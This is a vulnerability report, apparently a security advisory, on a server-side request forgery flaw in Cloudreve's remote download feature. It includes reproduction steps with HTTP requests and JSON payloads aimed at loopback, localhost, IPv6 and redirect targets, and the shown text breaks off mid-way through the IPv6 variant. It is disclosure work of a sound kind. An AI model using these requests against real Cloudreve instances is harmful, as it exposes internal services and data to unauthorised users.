Cloudreve: Non-admin remote download users can SSRF loopback/internal services and read imported responses
Summary
Cloudreve's remote download workflow accepts user-supplied URLs and passes them to the configured downloader without blocking loopback, localhost, IPv6 localhost, or redirect-to-loopback targets.
When the remote download permission is granted to a non-admin user group, a normal authenticated user can make the server-side downloader fetch internal-only URLs and then read the fetched response after it is imported into the user's own Cloudreve files.
This does not affect default normal users unless the remote download permission is enabled for their group. However, the permission is a feature-level user-group capability and does not make the user an administrator.
Attacker requirements
The attacker must be:
- authenticated
- non-admin
- in a user group where
GroupPermissionRemoteDownload is enabled
Default normal users are blocked from the affected workflow. In the default install, only the admin group has the remote download permission, while the default User group does not.
Affected endpoint
```http
POST /api/v4/workflow/download
```
Follow-up attacker readback was performed through normal workflow and file APIs:
```http
GET /api/v4/workflow?category=downloaded...
GET /api/v4/file?uri=cloudreve://my...
POST /api/v4/file/url
```
Root cause
The remote download workflow checks whether the user group has remote download permission, but it does not validate the submitted URL before passing it to the downloader.
Relevant code paths:
service/explorer/workflows.go:81pkg/filemanager/workflows/remote_download.go:202pkg/downloader/aria2/aria2.go:56
The application does not block loopback, localhost, IPv6 localhost, or redirect targets resolving to internal addresses.
Impact
A non-admin user with remote download permission can use Cloudreve as an SSRF primitive to access services reachable from the downloader environment.
In my test, the attacker could fetch internal loopback URLs and read the response body after Cloudreve imported the downloaded content into the attacker's own files.
Confirmed targets:
http://127.0.0.1:7777/secret2http://localhost:7777/localsecrethttp://[::1]:7780/v6secret- redirect to
http://127.0.0.1:7777/redirsecret
This can expose internal HTTP services, loopback-only admin panels, local service metadata, or other network resources that are not directly reachable by the attacker.
Reproduction
1. Permission negative control
The attacker is a normal non-admin user in the default User group.
Before enabling remote download for the group:
```http
POST /api/v4/workflow/download
Content-Type: application/json
{"src":["http://127.0.0.1:7777/secret"],"dst":"cloudreve://my"}
```
Response:
```json
{"code":40007,"msg":"Group not allowed to download files"}
```
2. Enable only remote download permission for the non-admin group
The default install grants remote download to the admin group only. The default User group does not have it.
Confirmed in:
inventory/migration.go:154inventory/migration.go:179
For this test, I only changed group 2 permissions from:
```text
hAg=
```
to:
```text
hAo=
```
The attacker remained in the User group and was not made admin. GET /api/v4/user/me still returned the group name as User.
3. Start an internal listener
Example listener on the Cloudreve host:
```text
127.0.0.1:7777
```
The listener returned a marker response:
```text
SSRF_SECRET_2_20260527
```
4. Queue a remote download to loopback
```http
POST /api/v4/workflow/download
Content-Type: application/json
{"src":["http://127.0.0.1:7777/secret2"],"dst":"cloudreve://my"}
```
Response:
```json
{"code":0,"data":[{"id":"OzH4","status":"queued","type":"remote_download"}]}
```
The internal listener received the request:
```text
127.0.0.1 - - [27/May/2026 13:00:46] "GET /secret2 HTTP/1.1" 200 -
```
Aria2 completed the download:
```text
Download complete: /home/b4r/cysec/cvehunting/cloudreve/data/temp/.../secret2
```
5. Read the imported internal response as the attacker
The task completed successfully:
```json
{"id":"OzH4","status":"completed","summary":{"props":{"src_str":"http://127.0.0.1:7777/secret2","failed":0}}}
```
The attacker could list the imported file:
```json
{"name":"secret2","path":"cloudreve://my/secret2"}
```
The attacker could then download and read the response body:
```text
SSRF_SECRET_2_20260527
```
Additional validated variants
localhost
Input:
```text
http://localhost:7777/localsecret
```
Attacker readback:
```text
LOCALHOST_SECRET_20260527
```
Redirect to loopback
Input:
```text
http://127.0.0.1:7779/anything
```
Redirect:
```text
302 Location: http://127.0.0.1:7777/redirsecret
```
Attacker readback:
```text
REDIR_SECRET_20260527
```
IPv6 localhost
Input:
```text
http://[::1]:7780/v6secret
```
Attacker readback:
```t
